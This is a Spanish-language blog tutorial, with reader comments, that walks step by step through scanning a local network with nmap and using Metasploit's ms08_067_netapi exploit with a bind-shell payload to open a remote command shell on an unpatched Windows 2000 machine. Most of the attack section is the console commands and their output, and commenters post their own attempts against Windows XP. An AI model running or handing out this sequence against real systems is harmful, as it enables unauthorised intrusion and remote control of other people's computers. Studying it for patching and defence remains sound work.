El título del post no es mio, es el que dieron en Blackhat las Vegas cuando presentaron la versión 2.2 de Metasploit, ¡y nada más lejos de la realidad!. Metasploit (ahora en su versión 3.3) es una potentísima a la vez que sencilla herramienta para explotar las vulnerabilidades de sistemas operativos y software en general.
Su uso se basa en escanear los puertos abiertos de un equipo, utilizarlos para explotar posibles fallos de seguridad y lograr así obtener una shell, crear usuarios (con permisos de administrador) o hasta un escritorio remoto.
Esta vez voy a llevar a cabo un ataque a modo de ejemplo contra un equipo con Windows 2000. El sistema operativo de la victima no es tan importante como pueda parecer, pues el éxito de la operación depende más de los puertos abiertos y de las vulnerabilidades que contenga la víctima. En este aspecto Metasploit es realmente eficaz ya que incorpora actualizaciones con frecuencia.
En primer lugar será necesario tener instalada la aplicación (aquí puedes ver cómo hacerlo) y conocer algunos conceptos básicos:
- Exploit: Código o un proceso por el cual se consigue aprovechar una vulnerabilidad.
- Payload: Código que se inyecta a la víctima por medio del exploit. Generalmente son pequeños programas en ensamblador que permiten ejecutar comandos, enviar o recibir archivos, habilitar shells, etc.
- NOP: Permite ofuscar el código que enviamos a la víctima para no ser detectado por su software de seguridad.
- Encoder: Al igual que NOP, dificulta la detección enviando en este caso el código codificado.
Identificando al protagonista
El protagonista de nuestra película se encuentra en algún punto de la red y vamos a descubrirlo escaneándola con NMAP. e indicando el rango de Ips.
juansa@compiuta:~$ nmap 192.168.1.1-255 Starting Nmap 4.62 ( http://nmap.org ) at 2009-06-02 22:37 CEST Interesting ports on 192.168.1.1: Not shown: 1710 filtered ports PORT STATE SERVICE 20/tcp closed ftp-data 21/tcp closed ftp 23/tcp closed telnet 80/tcp open http 1723/tcp open pptp Interesting ports on 192.168.1.102: Not shown: 1713 closed ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds Interesting ports on 192.168.1.109: Not shown: 1704 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 307/tcp filtered unknown 315/tcp filtered dpsi 445/tcp open microsoft-ds 507/tcp filtered crs 817/tcp filtered unknown 1025/tcp open NFS-or-IIS 1400/tcp filtered cadkey-tablet 2048/tcp filtered dls-monitor 2301/tcp filtered compaqdiag Nmap done: 255 IP addresses (3 hosts up) scanned in 135.113 seconds juansa@compiuta:~$
Como puede apreciarse NMAP ha devuelto tres resultados. El primero (192.168.1.1) corresponde al router, el segundo es mi propio equipo (192.168.1.102) y el tercero nuestra víctima (192.168.1.109).
Curiosidad que sí viene al caso: nada mejor que instalar un Windows 2000 para tener de entrada nada menos que 11 puertos a la escucha. :D
De entre tanto puerto no vamos a necesitar más que uno. El puerto 445/tcp es bien sabido que tiene vulnerabilidades, y en este caso la víctima no ha instalado el parche correspondiente, por lo que ya tenemos todo lo que necesitamos para el siguiente paso.
Preparando el ataque
Ejecutamos Metasploit.
juansa@compiuta:~$ cd /opt/MSF/trunk/ juansa@compiuta:/opt/MSF/trunk$ ./msfconsole
Habiendo decidido el puerto queda por saber el exploit que usaremos. Consultando la documentación de Metasploit vemos que para el puerto 445/tcp existen varios exploits. También puede verse una lista de los exploits disponibles por medio del comando show exploits. En mi caso me quedaré con el siguiente: windows/smb/ms08_067_netapi.
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >
Ahora seleccionamos el payload que inyectaremos. Podemos ver los payloads compatibles con el exploit seleccionado con el comando show payloads.
msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support) generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager ... msf exploit(ms08_067_netapi) >
La lista es bien grande, así que solo he mostrado los tres primeros payloads. Seleccionaremos el payload windows/shell_bind_tcp, que nos abre una shell.
msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp payload => windows/shell_bind_tcp msf exploit(ms08_067_netapi) >
Ahora nos queda ver el resto de parámetros necesarios antes de ejecutar el ataque. Para ello tenemos el comando show options
msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) >
Podemos ver como de todos los parametros a introducir tan solo hace falta especificar uno: RHOST que como bien se indica corresponde a la IP de la víctima (the target address). Indiquémoslo.
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.109 RHOST => 192.168.1.109 msf exploit(ms08_067_netapi) >
¡Ejecutando el ataque!
Victima identificada, parámetros establecidos... lo tenemos todo. Ya solo nos queda ejecutar el ataque. Mirad que fácil.
msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows 2000 - lang:Spanish [*] Selected Target: Windows 2000 Universal [*] Triggering the vulnerability... [*] Command shell session 1 opened (192.168.1.102:40535 -> 192.168.1.109:4444) Microsoft Windows 2000 [Versión 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>
Y aquí lo teneis, el shell de Windows 2000 a nuestra disposición!
Nota: Imagen del post robada malament de la web ScarletMidnight.com
02-06-2009
Recomiendo visitar www.insecure.org , ya que aparte de tratar el nmap aparecen listadas las mejores herramientas para escanear vulnerabilidades y software variado sobre seguridad.
un saludo de roke
hay algun comando? se que esta el show exploits, pero no pone para que puertos sirve.....
Saludos
con eso ya te dice que cosas necesitas para iniciar el exploit.
Saludos.
Ha se me pasaba, buen blog. sigue Asi Juan.
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.
a ke se debe esto???
Estoy usando Backtrak
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi)>